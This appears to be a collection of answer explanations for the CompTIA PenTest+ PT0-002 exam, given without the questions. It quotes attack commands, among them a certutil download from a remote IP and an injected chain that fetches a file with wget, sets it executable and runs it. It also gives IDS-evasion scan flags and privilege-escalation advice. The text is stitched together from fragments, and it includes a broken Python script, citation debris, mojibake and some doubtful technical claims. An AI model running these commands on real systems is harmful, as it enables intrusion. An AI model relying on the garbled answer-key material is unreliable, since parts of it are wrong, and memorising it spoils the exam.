PT0-002 CompTIA PenTest+ Certification Exam Question and Answers

https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/

--- https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

The certutil command is a Windows utility that can be used to manipulate certificates and certificate authorities. However, it can also be abused by attackers to download files from remote servers using the –urlcache option. In this case, the command downloads accesschk64.exe from http://192.168.2.124/windows-binaries/ and saves it locally. Accesschk64.exe is a tool that can be used to check service permissions and identify potential privilege escalation vectors. The other commands are not relevant for this purpose. Powershell is a scripting language that can be used to perform various tasks, but in this case it uploads a file instead of downloading one. Schtasks is a command that can be used to create or query scheduled tasks, but it does not help with service permissions. Wget is a Linux command that can be used to download files from the web, but it does not work on Windows by default.

The statement of work (SOW) is a document that defines the scope, objectives, deliverables, and timeline of a penetration testing engagement. It is important to have the client sign the SOW before starting the assessment to avoid any legal or contractual issues.

The ping –A command sends an ICMP echo request with a specified TTL value and displays the response. The TTL value indicates how many hops the packet can traverse before being discarded. Different OSs have different default TTL values for their packets. Windows uses 128, Apple uses 64, Linux uses 64 or 255, and Android uses 64. Therefore, a packet with a TTL of 128 is most likely from a Windows OS.

A. The libraries may be vulnerable to security bugs or exploits that can compromise the application or the data. According to the web search results, open-source libraries often have vulnerabilities that can be exploited by attackers, such as Heartbleed, Shellshock, DROWN, or npm left-pad1234. These vulnerabilities can allow attackers to extract sensitive data, execute arbitrary commands, decrypt encrypted traffic, or break the functionality of the application. Therefore, using third-party open-source libraries in application code poses a significant security risk.

D. The provenance of code is unknown, meaning that the origin and history of the code are not verified or documented. According to the web search results, open-source libraries and client projects are developed and continuously evolving in an asynchronous way, which makes it difficult to track the changes and updates of the code2. Moreover, open-source libraries may have dependencies on other libraries, which can introduce additional risks or vulnerabilities1. Therefore, using third-party open-source libraries in application code poses a significant quality risk.

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

Stopping the assessment and informing the emergency contact is the best thing to do next after identifying that an application being tested has already been compromised with malware. This is because continuing the assessment might interfere with an ongoing investigation or compromise evidence collection. The emergency contact is the person designated by the client who should be notified in case of any critical issues or incidents during the penetration testing engagement.

The nmap –f --badsum 192.168.1.10 command is most likely to avoid detection by the client’s IDS, as it will use two techniques to evade IDS signatures or filters. The –f option will fragment the IP packets into smaller pieces that might bypass some IDS rules or firewalls. The --badsum option will use an invalid checksum in the TCP or UDP header that might cause some IDS systems to ignore the packets.

Aircrack-ng is a suite of tools that allows the penetration tester to test the effectiveness of the wireless IDS solutions by performing various attacks on wireless networks, such as cracking WEP and WPA keys, capturing and injecting packets, deauthenticating clients, or creating fake access points. Aircrack-ng can also generate different types of traffic and signatures that can trigger the wireless IDS alerts or responses, such as ARP requests, EAPOL frames, or beacon frames.

In Python, there are two ways to increase a variable by one: using the assignment operator (=) with an arithmetic expression, or using the augmented assignment operator (+=). The expressions val=(val+1) and val+=1 both achieve this goal. The expressions val++ and ++val are not valid in Python, as there is no increment operator. The expressions +val and val=val++ do not change the value of val2.

https://pythonguides.com/increment-and-decrement-operators-in-python/

PLCs are programmable logic controllers that execute logic operations on input signals from sensors and output signals to actuators. They are often connected to supervisory systems that provide human-machine interfaces and data acquisition functions. If both systems are connected to the company intranet, they are exposed to potential attacks from internal or external adversaries. A valid assumption is that controllers will not validate the origin of commands, meaning that an attacker can send malicious commands to manipulate or sabotage the industrial process. The other assumptions are not valid because they contradict the facts or common practices.

Netcat and cURL are tools that will help the tester prepare an attack for this scenario, as they can be used to establish a TCP connection, send payloads, and receive responses from the target web server. Netcat is a versatile tool that can create TCP or UDP connections and transfer data between hosts. cURL is a tool that can transfer data using various protocols, such as HTTP, FTP, SMTP, etc. The tester can use these tools to exploit the PHP script that executes shell commands with the value of the “item” variable.

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:

cd /tmp: change the current directory to /tmp

wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1

chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone

./apache: run the file as an executable

The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

Quarterly is the minimum frequency to complete the scan of the system that is PCI DSS v3.2.1 compliant, according to Requirement 11.2.2 of the standard1. PCI DSS (Payment Card Industry Data Security Standard) is a set of security standards that applies to any organization that processes, stores, or transmits credit card information. Requirement 11.2.2 states that organizations must perform internal vulnerability scans at least quarterly and after any significant change in the network.

https://www.pcicomplianceguide.org/faq/#25

PCI DSS requires quarterly vulnerability/penetration tests, not weekly.

As mentioned in question 1, the SOW describes the specific activities, deliverables, and schedules for a penetration tester. The other documents are not relevant for this purpose. An NDA is a non-disclosure agreement that protects the confidentiality of the client’s information. An MSA is a master service agreement that defines the general terms and conditions of a business relationship. An MOU is a memorandum of understanding that expresses a common intention or agreement between parties.

The first thing that a penetration tester should consider when engaging in a penetration test in a cloud environment is whether the cloud service provider allows the tester to test the environment, as this will determine whether the tester has permission or authorization to perform the test. Some cloud service providers have policies or terms of service that prohibit or restrict penetration testing on their platforms or require prior approval or notification before testing. The tester should review these policies and obtain written consent from the provider before conducting any testing activities.

This command will scan the host 192.168.1.20 on port 80 using the following options:

-A: This option enables OS detection, version detection, script scanning, and traceroute. This will help to determine if the host is running an approved version of Linux and a patched version of Apache, as well as other information about the host and the network path.

-T4: This option sets the timing template to aggressive, which speeds up the scan by increasing the number of parallel probes, reducing the timeouts, and assuming faster responses.

-p80: This option specifies the port to scan, which is 80 in this case. Port 80 is commonly used for HTTP services, such as Apache web server.

Wireshark and Shodan are two tools that can be used to perform passive reconnaissance, which means collecting information from publicly available sources without interacting with the target or revealing one’s identity. Wireshark is a tool that can be used to capture and analyze network traffic, such as packets, protocols, or sessions, without sending any data to the target. Shodan is a tool that can be used to search for devices or services on the internet, such as web servers, routers, cameras, or firewalls, without contacting them directly. The other tools are not passive reconnaissance tools, but rather active reconnaissance tools, which means interacting with the target or sending data to it. Nessus and Retina are tools that can be used to perform vulnerability scanning, which involves sending probes or requests to the target and analyzing its responses for potential weaknesses. Burp Suite is a tool that can be used to perform web application testing, which involves intercepting and modifying web requests and responses between the browser and the server.

https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/ index.html

https://scapy.readthedocs.io/en/latest/introduction.html#about-scapy

Scapy is a powerful and interactive packet manipulation tool that allows the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds. Scapy can craft, send, receive, and analyze packets of various protocols, such as TCP, UDP, ICMP, or IP. Scapy can also modify any field of any layer of a packet, such as the TCP header length and checksum, which are used to indicate the size and integrity of the TCP segment. Scapy can also display the response packets from the target system, which can reveal how the proprietary service handles the invalid packet.

URL enumeration is the activity of discovering and mapping the URLs of a website, such as directories, files, parameters, or subdomains. URL enumeration can help to identify the structure, content, and functionality of a website, as well as potential vulnerabilities or misconfigurations. One of the methods of URL enumeration is to analyze the robots.txt file of a website, which is a text file that tells search engine crawlers which URLs the crawler can or can’t request from the site1. The output shown in the question is an example of a robots.txt file that disallows crawling of certain URLs, such as /author/, /xmlrpc.php, /wp-admin, or /page/.

1. Reflected XSS - Input sanitization (<> ...)

2. Sql Injection Stacked - Parameterized Queries

3. DOM XSS - Input Sanitization (<> ...)

4. Local File Inclusion - sandbox req

5. Command Injection - sandbox req

6. SQLi union - paramtrized queries

7. SQLi error - paramtrized queries

8. Remote File Inclusion - sandbox

9. Command Injection - input saniti $

10. URL redirect - prevent external calls

The dig command is a tool that can be used to query DNS servers and obtain information about domain names, such as IP addresses, mail servers, name servers, or other records. The MX option specifies that the query is for mail exchange records, which are records that indicate the mail servers responsible for accepting email messages for a domain. Therefore, the command dig company.com MX would best help the tester determine which cloud email provider the log-in page needs to mimic by showing the mail servers for company.com. For example, if the output shows something like company-com.mail.protection.outlook.com, then it means that company.com uses Microsoft Outlook as its cloud email provider. The other commands are not as useful for determining the cloud email provider. The whois command is a tool that can be used to query domain name registration information, such as the owner, registrar, or expiration date of a domain. The curl command is a tool that can be used to transfer data from or to a server using various protocols, such as HTTP, FTP, or SMTP. The dig command with the A option specifies that the query is for address records, which are records that map domain names to IP addresses.

The penetration testers should carry copies of the engagement documents with them as proof in case they are discovered by security guards, employees, or law enforcement officials. The engagement documents should include the scope, objectives, authorization, and contact information of the penetration testing team and the client. This will help avoid any legal or ethical issues that may arise from trespassing, breaking and entering, or unauthorized access. The other options are not valid reasons for carrying the engagement documents with them.

 GDB is a debugging tool that can be used to analyze and manipulate the memory of a running process, which is useful for finding and exploiting buffer overflow vulnerabilities. Burp Suite is a web application testing tool that does not directly test for buffer overflows. SearchSpliot is a database of known exploits that does not test for new vulnerabilities. Netcat is a network utility that can be used to send and receive data, but not to test for buffer overflows.

A downgrade attack is a type of attack that exploits a vulnerability in the protocol negotiation process between a client and a server to force them to use a less secure protocol than they originally intended. A downgrade attack can be used to identify whether a less secure protocol is being utilized on a wireless network by intercepting and modifying the messages exchanged during the protocol negotiation phase, such as the association request and response frames, and making the client and the server agree on a weaker protocol, such as WEP or WPA, instead of a stronger one, such as WPA2 or WPA3. A downgrade attack can also enable the attacker to perform other attacks, such as cracking the encryption keys or capturing the network traffic, more easily by taking advantage of the weaknesses of the less secure protocol. A downgrade attack can be performed by using tools such as Airgeddon, which is a multi-use bash script for Linux systems to audit wireless networks1.

-z zero-I/O mode [used for scanning]

-v verbose

example output of script:

10.0.0.1: inverse host lookup failed: Unknown host

(UNKNOWN) [10.0.0.1] 22 (ssh) open

(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out

https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for

These two payloads are most likely to establish a shell successfully because they use HTTP or HTTPS protocols, which are commonly allowed by network devices and can bypass firewall rules or IPS signatures. The other payloads use TCP protocols, which are more likely to be blocked or detected by network devices.

fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance, or quality gaps or issues

True is a Boolean operator in Python, which is an operator that returns either True or False values based on logical conditions. Boolean operators can be used in expressions or statements that evaluate to True or False values, such as comparisons, assignments, or loops. In the code, True is used as the condition for a while loop, which is a loop that repeats a block of code as long as the condition is True. The code will print “Hello World” indefinitely because True will always be True and the loop will never end. The other options are not valid descriptions of True.

https://kalilinuxtutorials.com/foca-metadata-hidden-documents/

FOCA (Fingerprinting Organizations with Collected Archives) is a tool that is used to find hidden information in documents available on the web. It can be used to extract metadata from documents such as PDF, Microsoft Office, OpenOffice, and others. The metadata can include information such as the author, creation date, and software used to create the document. FOCA can also extract information from the document's properties such as the title, keywords, and comments. This tool can also identify specific keywords and patterns in the document and can be useful in identifying sensitive information that may have been inadvertently left in the document.

The script is using the scapy library to perform a DNS query for www.comptia.org and store the response in variable b. Lines 5 and 6 are using a for loop to iterate over each answer in variable b and print its summary to the screen. This can help the penetration tester to view the DNS records returned by the query.

The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

A vulnerability scan is a type of penetration testing tool that is used to scan a network for vulnerabilities. A vulnerability scan can detect misconfigurations, missing patches, and other security issues that could be exploited by attackers. In this case, the output shows that 100 hosts had findings due to improper patch management, which means that the tester performed a vulnerability scan.

The best way to provide confidentiality for the client while using a wireless connection is to connect to the penetration testing company’s VPS using a VPN. This will encrypt the traffic between the penetration tester and the VPS, and prevent any eavesdropping or interception by third parties. A VPN will also allow the penetration tester to access the client’s network securely and bypass any firewall or network restrictions.

Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

The file .scripts/daily_log_backup.sh has permissions set to 777, meaning that anyone can read, write, or execute the file. Since it's owned by the root user and the penetration tester has access to the system with a non-privileged account, this could be a potential avenue for privilege escalation. In a penetration test, after finding such a file, the tester would likely want to explore it and see if it can be leveraged to gain higher privileges. This is often done by inserting malicious code or commands into the script if it's being executed with higher privileges, such as root in this case.

Penetration testing reports contain sensitive information about the vulnerabilities and risks of a customer’s systems and networks. Therefore, penetration testers should respect the confidentiality and privacy of their customers and only share their reports with authorized parties. Penetration testers should also follow the terms and conditions of their contracts with their customers, which may include a period of confidentiality that prohibits them from disclosing any information related to the testing without the customer’s consent.

 The penetration tester is using a password brute force attack, which is a type of password guessing attack that involves trying many possible combinations of passwords against a single username or account. A password brute force attack can be effective when the password is known to be weak, simple, or predictable, such as a default or temporary password. In this case, the penetration tester knows that the help desk analysts change users’ passwords to 123change when they request password resets, and decides to brute force the webmail with this password and a list of usernames. A password brute force attack can be done by using tools such as Hydra, which can perform parallelized login attacks against various protocols and services1. The other options are not techniques that the penetration tester is using. SQL injection is a type of attack that exploits a vulnerability in a web application that allows an attacker to execute malicious SQL statements on a database server. Password spraying is a type of password guessing attack that involves trying one or a few common passwords against many usernames or accounts. Kerberoasting is a type of attack that exploits a vulnerability in the Kerberos authentication protocol that allows an attacker to request and crack service tickets for service accounts with weak passwords.

A DNS poisoning attack is an attack that exploits a vulnerability in the DNS protocol or system to redirect traffic from legitimate websites to malicious ones. A DNS poisoning attack works by injecting false DNS records into a DNS server or resolver’s cache, which is a temporary storage of DNS information. However, if the DNS cache was not refreshed, then the attack would fail, as the target machine would still use the old and valid DNS records from its cache. The other options are not likely causes of the attack failure.

In Python socket programming, SOCK_DGRAM type is connectionless. This means that the socket does not establish a reliable connection between the sender and the receiver, and does not guarantee that the packets will arrive in order or without errors. SOCK_DGRAM type is used for UDP (User Datagram Protocol) sockets, which are faster and simpler than TCP (Transmission Control Protocol) sockets3.

The attacker is sequentially changing the serviceID parameter in the URL, likely in an attempt to access objects that they are not authorized to see. This is indicative of an attempt to exploit an Insecure Direct Object Reference (IDOR) vulnerability, where unauthorized access to objects can occur by manipulating input or changing parameters in the URL.

An insecure direct object reference (IDOR) vulnerability occurs when an application exposes a reference to an internal object, such as a file, directory, database record, or key, without any proper authorization or validation mechanism. This allows an attacker to manipulate the reference and access other objects that they are not authorized to access. In this case, the attacker was trying to exploit the IDOR vulnerability in the servicestatus.php script, which accepts a serviceID parameter that directly references a service object. By changing the value of the serviceID parameter, the attacker could access different services that they were not supposed to see. References: The Official CompTIA PenTest+ Student Guide (Exam PT0-002) eBook, Chapter 4, Section 4.2.2: Insecure Direct Object References; Best PenTest+ certification study resources and training materials, Section 1: Cross-site Scripting (XSS) Attack.

 CeWL is a tool that can be used to crawl a website and build a wordlist using the data recovered to crack the password on the website. CeWL stands for Custom Word List generator, and it is a Ruby script that spiders a given website up to a specified depth and returns a list of words that can be used for password cracking or other purposes. CeWL can also generate wordlists based on metadata, email addresses, author names, or external links found on the website. CeWL can help a penetration tester create customized wordlists that are tailored to the target website and increase the chances of success for password cracking attacks. DirBuster is a tool that can be used to brute force directories and files names on web servers. w3af is a tool that can be used to scan web applications for vulnerabilities and exploits. Patator is a tool that can be used to perform brute force attacks against various protocols and services.

The document that describes activities that are prohibited during a scheduled penetration test is ROE, which stands for rules of engagement. ROE is a document that defines the scope, objectives, methods, limitations, and expectations of a penetration test. ROE can specify what activities are allowed or prohibited during the penetration test, such as which targets, systems, networks, or services can be tested or attacked, which tools, techniques, or exploits can be used or avoided, which times or dates can be scheduled or excluded, or which impacts or risks can be accepted or mitigated. ROE can help ensure that the penetration test is conducted in a legal, ethical, and professional manner, and that it does not cause any harm or damage to the client or third parties. The other options are not documents that describe activities that are prohibited during a scheduled penetration test. MSA stands for master service agreement, which is a document that defines the general terms and conditions of a contractual relationship between two parties, such as the scope of work, payment terms, warranties, liabilities, or dispute resolution. NDA stands for non-disclosure agreement, which is a document that defines the confidential information that is shared between two parties during a business relationship, such as trade secrets, intellectual property, or customer data. SLA stands for service level agreement, which is a document that defines the quality and performance standards of a service provided by one party to another party, such as availability, reliability, responsiveness, or security.

A hypervisor is a type of virtualization software that allows multiple virtual machines (VMs) to run on a single physical host machine. If the hypervisor is compromised, an attacker could potentially gain access to all of the VMs running on that host, which could lead to a significant data breach or other security issues.

One common type of attack against hypervisors is known as a VM escape attack. In this type of attack, an attacker exploits a vulnerability in the hypervisor to break out of the VM and gain access to the host machine. From there, the attacker can potentially gain access to other VMs running on the same host.

By ensuring that all hypervisors have the latest available patches installed, the company can reduce the likelihood that a VM escape attack will be successful. Patches often include security updates and vulnerability fixes that address known issues and can help prevent attacks.

A red-team assessment is a type of penetration testing that simulates a real-world attack scenario with the goal of accessing specific data or systems. A red-team assessment is different from an unknown-environment assessment, which does not have a predefined objective and focuses on discovering as much information as possible about the target. A known-environment assessment is a type of penetration testing that involves cooperation and communication with the target organization, and may not focus on specific data or systems. A compliance-based assessment is a type of penetration testing that aims to meet certain regulatory or industry standards, and may not focus on specific data or systems.

data structures are used to store data in an organized form, and some data structures are more efficient and suitable for certain operations than others. For example, hash tables, skip lists and jump lists are some dictionary data structures that can insert and access elements efficiently3.

For string comparison, there are different algorithms that can measure how similar two strings are, such as Levenshtein distance, Hamming distance or Jaccard similarity4. Some of these algorithms can be implemented using data structures such as arrays or hashtables5.

The image shows the output of the netstat -antu command, which displays active internet connections for the TCP and UDP protocols. The output shows that there are four established TCP connections and two listening UDP connections on the host. The established TCP connections have high numbered ports as their local addresses, such as 49152, 49153, 49154, and 49155. These ports are in the range of ephemeral ports, which are dynamically assigned by the operating system for temporary use by applications or processes. The foreign addresses of these connections are also high numbered ports, such as 4433, 4434, 4435, and 4436. These ports are not well-known or registered ports for any common service or protocol. The combination of high numbered ports for both local and foreign addresses suggests that these connections are suspicious and may indicate a backdoor or a covert channel on the host. Therefore, the penetration tester should investigate these connections next to determine their nature and purpose. The other options are not appropriate actions for the penetration tester at this stage.

The penetration tester recommended the code be updated to use a random salt instead of a fixed salt for hashing passwords. A salt is a random value that is added to the plaintext password before hashing it, to prevent attacks such as rainbow tables or dictionary attacks that rely on precomputed hashes of common or weak passwords. A random salt ensures that each password hash is unique and unpredictable, even if two users have the same password. However, changing the salt does not affect the existing hashes that were created with the old salt, which may still be vulnerable to attacks. Therefore, the penetration tester should recommend changing passwords that were created before this code update, so that they can be hashed with the new salt and be more secure. The other options are not valid steps that the penetration tester should recommend. Keeping hashes created by both methods for compatibility would defeat the purpose of updating the code, as it would leave some hashes vulnerable to attacks. Rehashing all old passwords with the new code would not work, as it would require knowing the plaintext passwords, which are not stored in the database. Replacing the SHA-256 algorithm to something more secure is not necessary, as SHA-256 is a secure and widely used hashing algorithm that has no known vulnerabilities or collisions.

https://hackertarget.com/nikto-website-scanner/

OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linux‐specific debugging tool.

GDB is a tool that can be used to analyze and debug executable binaries, especially on Linux systems. GDB can disassemble, decompile, set breakpoints, examine memory, modify registers, and perform other operations on binaries. GDB can help a penetration tester understand the functionality, behavior, and vulnerabilities of an unknown binary. Peach is a tool that can be used to perform fuzzing, which is a technique of sending malformed or random data to a target to trigger errors or crashes. WinDbg and OllyDbg are tools that can be used to analyze and debug executable binaries, but they are mainly designed for Windows systems.

The penetration tester should try dumpster diving next, which is an attack that involves searching through trash bins or dumpsters for discarded documents or items that may contain sensitive or useful information. Dumpster diving can reveal information such as passwords, account numbers, credit card numbers, invoices, receipts, memos, contracts, or employee records. The penetration tester can use this information to gain access to systems or networks, impersonate users or employees, or perform social engineering attacks. The other options are not likely attacks that the penetration tester should try next based on the discovery that the company does not have a shredding service. Phishing is an attack that involves sending fraudulent emails that appear to be from legitimate sources to trick users into revealing their credentials or clicking on malicious links or attachments. Shoulder surfing is an attack that involves observing or spying on users while they enter their credentials or perform other tasks on their devices. Tailgating is an attack that involves following authorized personnel into a restricted area without proper authorization or identification.

The penetration tester should notify the primary contact immediately, as this is a serious security issue that may compromise the confidentiality, integrity, and availability of the web server and its data. A web component with no authentication requirements and file upload capabilities can allow an attacker to upload malicious files, such as web shells, backdoors, or malware, to the web server and gain remote access or execute arbitrary commands on the web server. This can lead to further attacks, such as data theft, data corruption, privilege escalation, lateral movement, or denial of service. The penetration tester should inform the primary contact of the issue and its potential impact, and provide recommendations for remediation, such as implementing authentication mechanisms, restricting file upload types and sizes, or scanning uploaded files for malware. The other options are not appropriate actions for the penetration tester at this stage. Continuing the assessment and marking the finding as critical would delay the notification and remediation of the issue, which may increase the risk of exploitation by other attackers. Attempting to remediate the issue temporarily would interfere with the normal operation of the web server and may cause unintended consequences or damage. Shutting down the web server until the assessment is finished would disrupt the availability of the web server and its services, and may violate the scope or agreement of the assessment.

1: Null session enumeration

Weak SMB file permissions

Fragmentation attack

2: nmap

-sV

-p 1-1023

192.168.2.2

3: #!/usr/bin/python

export $PORTS = 21,22

for $PORT in $PORTS:

try:

s.connect((ip, port))

print(“%s:%s – OPEN” % (ip, port))

except socket.timeout

print(“%:%s – TIMEOUT” % (ip, port))

except socket.error as e:

print(“%:%s – CLOSED” % (ip, port))

finally

s.close()

port_scan(sys.argv[1], ports)

Removing shells: Remove any shell programs installed when performing

the pentest.

Removing tester-created credentials: Be sure to remove any user accounts

created during the pentest. This includes backdoor accounts.

Removing tools: Remove any software tools that were installed on the

customer’s systems that were used to aid in the exploitation of systems.

The company that requested the penetration test is responsible for providing the correct and accurate network scope for the test. The network scope defines the boundaries and limitations of the test, such as which IP addresses, domains, systems, or networks are in scope or out of scope. If the company provided an incorrect network scope that included an IP address that belongs to a third party, then it is responsible for this mistake. The penetration testing company, the target host’s owner, the penetration tester, and the subcontractor supporting the test are not responsible for this mistake, as they relied on the network scope provided by the company that requested the penetration test.

Open-source research and traffic sniffing are two activities that have a minimal chance of detection, as they do not involve sending any packets or requests to the target network or system. Open-source research is the process of gathering information from publicly available sources, such as websites, social media, blogs, forums, etc. Traffic sniffing is the process of capturing and analyzing network packets that are transmitted over a shared medium, such as wireless or Ethernet.

A penetration tester should most likely include metrics and measures in a report at the end of an assessment. Metrics and measures provide quantitative data that helps in understanding the extent and impact of vulnerabilities found during the assessment. They offer a clear and objective way to convey the results and the effectiveness of the security controls in place. This data-driven approach aids in prioritizing remediation efforts, benchmarking against industry standards, and demonstrating improvements over time.

References:

OWASP Penetration Testing Methodologies

NIST SP 800-115 - Technical Guide to Information Security Testing and Assessment

The Nmap scan command given will scan all the hosts in the 192.168.0.0/24 subnet, except for the one with the IP address 192.168.0.101. The subnet has 256 possible hosts, but one of them is excluded, so the total number of servers that Nmap will attempt to scan is 255. References:

Nmap Commands - 17 Basic Commands for Linux Network, Section: Scan Multiple Hosts, Subsection: Excluding Hosts from Search

Nmap Cheat Sheet 2023: All the Commands and More, Section: Target Specification, Subsection: -exclude

A BLE (Bluetooth Low Energy) attack is specifically designed to exploit vulnerabilities in the Bluetooth Low Energy protocol, which is commonly used in modern wireless devices, including key fobs for electric vehicles. This type of attack can allow a penetration tester to intercept, manipulate, or take control of the communication between the key fob and the vehicle. Bluejacking and Bluesnarfing are older Bluetooth attacks that are less effective against modern BLE implementations. WPS PIN attacks target Wi-Fi Protected Setup, which is unrelated to key fobs and electric vehicles.

The presence of specific services like SSH, NTP, Rsync, and LDAP servers is indicative of a Unix-like operating system. Among the given options, FreeBSD is the most likely operating system that would be running all these services. FreeBSD is known for its robustness and extensive use in environments requiring stable and secure networking services.

Given the context of penetration testing and the enumeration of these services, FreeBSD's configuration and service management fit well with the identified services. Other operating systems listed (Mac OS X, Microsoft Windows, Linux) might not typically run all these services in a similar configuration, particularly NTP and Rsync, which are more common in Unix-like systems.

References:

FreeBSD documentation on NTP and Rsync: FreeBSD Handbook, FreeBSD Rsync

Enumeration examples from HTB writeups such as Gobox and Writeup which often lead to identifying specific OS based on running services​​​​.

Crawling URIs using an interception proxy is the best active reconnaissance technique for gathering additional information about a web application. An interception proxy, such as Burp Suite or OWASP ZAP, allows the penetration tester to see and manipulate the requests and responses between the client and the server, providing detailed insights into the application's behavior, structure, and vulnerabilities. This technique is more comprehensive and controlled compared to using cURL or a web browser.

References:

OWASP Testing Guide: Web Application Security Testing

Burp Suite Documentation

OWASP ZAP User Guide

The tool that the penetration tester should use for further investigation is WPScan. This is because WPScan is a WordPress vulnerability scanner that can detect common WordPress security issues, such as weak passwords, outdated plugins, and misconfigured settings. WPScan can also enumerate WordPress users, themes, and plugins from the robots.txt file.

The two entries in the robots.txt file that the penetration tester should recommend for removal are:

Allow: /admin

Allow: /wp-admin

These entries expose the WordPress admin panel, which can be a target for brute-force attacks, SQL injection, and other exploits. Removing these entries can help prevent unauthorized access to the web application’s backend. Alternatively, the penetration tester can suggest renaming the admin panel to a less obvious name, or adding authentication methods such as two-factor authentication or IP whitelisting.

The tester is attempting to determine active hosts on the network by writing a script that pings a range of IP addresses. Ping is a network utility that sends ICMP echo request packets to a host and waits for ICMP echo reply packets. Ping can be used to test whether a host is reachable or not by measuring its response time. The script uses a for loop to iterate over a range of IP addresses from 192.168.1.1 to 192.168.1.254 and pings each one using the ping command with -c 1 option, which specifies one packet per address.

The penetration tester's discovery of passwords vulnerable to hash cracking suggests a lack of robust password policies within the organization. Among the options provided, implementing a blocklist of known bad passwords is the most effective immediate remediation. This measure would prevent users from setting passwords that are easily guessable or commonly used, which are susceptible to hash cracking tools like Hashcat.

Requiring passwords to follow complexity rules (Option A) can be helpful, but attackers can still crack complex passwords if they are common or have been exposed in previous breaches. Setting a minimum password length (Option C) is a good practice, but length alone does not ensure a password's strength against hash cracking techniques. Encrypting passwords with a stronger algorithm (Option D) is a valid long-term strategy but would not prevent users from choosing weak passwords that could be easily guessed before hash cracking is even necessary.

Therefore, a blocklist addresses the specific vulnerability exposed by the penetration tester—users setting weak passwords that can be easily cracked. It's also worth noting that the best practice is a combination of strong, enforced password policies, user education, and the use of multi-factor authentication to enhance security further.

ï‚· System hardening involves securing a system by reducing its surface of vulnerability, which includes changing default credentials, disabling unnecessary services, and applying security patches.

ï‚· Details:

A. Password encryption: Secures passwords but does not address the issue of default credentials.

B. System hardening: Comprehensive approach to securing the system, including changing default credentials.

C. Multifactor authentication: Adds an additional layer of security but does not solve the problem of default credentials being enabled.

D. Patch management: Ensures software is up-to-date but does not directly address default credentials.

ï‚· References: System hardening is a fundamental practice in securing systems and preventing unauthorized access, as detailed in security best practices and guidelines.

The output provided indicates the use of the NTP protocol (Network Time Protocol) for querying a target system. The reference to "Public Clients" and the specific IP addresses listed, along with the mention of "Other Associations" and the use of NTP version 2, points towards the execution of an NTP monlist request. The monlist feature in NTP servers can be used to obtain a list of the last 600 hosts that have interacted with the NTP server. The command nmap -sU -pU:123 -Pn -n —script=ntp-monlist <target> specifically targets NTP servers on UDP port 123 to retrieve this information, making it the correct choice based on the output shown.

Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.

The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.

Two best remediation options:

Restrict direct communications to App01.example.com to only approved components.

Require an additional authentication header value between CDN.example.com and App01.example.com.

Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.

Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.

Nmap Scan Observations:

CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.

App Server has open ports for HTTP, HTTPS, and filtered for MySQL.

DB Server has all ports filtered, typical for a database server that should not be directly accessible.

These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.

The risk present in an organization using Android mobile devices without Mobile Device Management (MDM) services is that unsigned applications can be installed. Without MDM, there are fewer controls over the installation of applications, which increases the risk of installing malicious or unauthorized applications. MDM services typically provide a way to enforce application signing policies, preventing the installation of unsigned apps.

References:

OWASP Mobile Security Project

NIST Mobile Device Management Guide

The best way to mitigate this issue is to implement patching and change control programs, which are processes that involve applying updates or fixes to software packages to address vulnerabilities, bugs, or performance issues, and managing or documenting the changes made to the software packages to ensure consistency, compatibility, and security. Patching and change control programs can help prevent or reduce the risk of attacks that exploit outdated software package versions, which may contain known or unknown vulnerabilities that can compromise the security or functionality of the systems or servers. Patching and change control programs can be implemented by using tools such as WSUS, which is a tool that can manage and distribute updates for Windows systems and applications1, or Git, which is a tool that can track and control changes to source code or files2. The other options are not valid ways to mitigate this issue. Revision of client scripts used to perform system updates is not a sufficient way to mitigate this issue, as it may not address the root cause of why the software package versions are outdated, such as lack of awareness, resources, or policies. Remedial training for the client’s systems administrators is not a direct way to mitigate this issue, as it may not result in immediate or effective actions to update the software package versions. Refrainment from patching systems until quality assurance approves is not a way to mitigate this issue, but rather a potential cause or barrier for why the software package versions are outdated.

The socket.gaierror: [Errno -2] Name or service not known is an error that occurs when the socket module cannot resolve the hostname or IP address given as an argument. In this case, the script is using sys.argv[0] as the argument for socket.gethostbyname, which is the name of the script itself, not the target IP address. The target IP address should be the first command-line argument after the script name, which is sys.argv1. Therefore, changing the script to use sys.argv1 as the argument for socket.gethostbyname will fix the error and allow the script to scan the ports of the target IP address. References:

•The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 5: Attacks and Exploits, page 262-263.

